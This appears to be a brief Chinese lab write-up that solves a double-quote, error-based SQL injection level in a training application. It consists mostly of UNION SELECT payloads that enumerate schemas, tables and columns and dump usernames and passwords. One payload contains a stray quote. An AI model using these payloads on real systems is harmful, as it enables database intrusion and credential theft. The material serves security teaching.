GET - Error based - Double Quotes - String
输入?id=1,?id=1'都显示正常
输入?id=1",发现报错
猜想语句:select * from xxx where id=("$id")
所以payload 是:?id=1")--+
查看字段数:?id=-1") union select 1,2,3--+
发现字段数是3个
查看数据库名和用户名:?id=-1")' union select 1,group_concat(schema_name) ,3 from information_schema.schemata --+
查看表名:?id=-1") union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema='security' --+
查看字段名:?id=-1") union select 1,group_concat(column_name) ,3 from information_schema.columns where table_name='users' and table_schema='security' --+
查看用户名和密码:?id=-1") union select 1,group_concat(concat_ws(':',username,password)) ,3 from users --+
完成.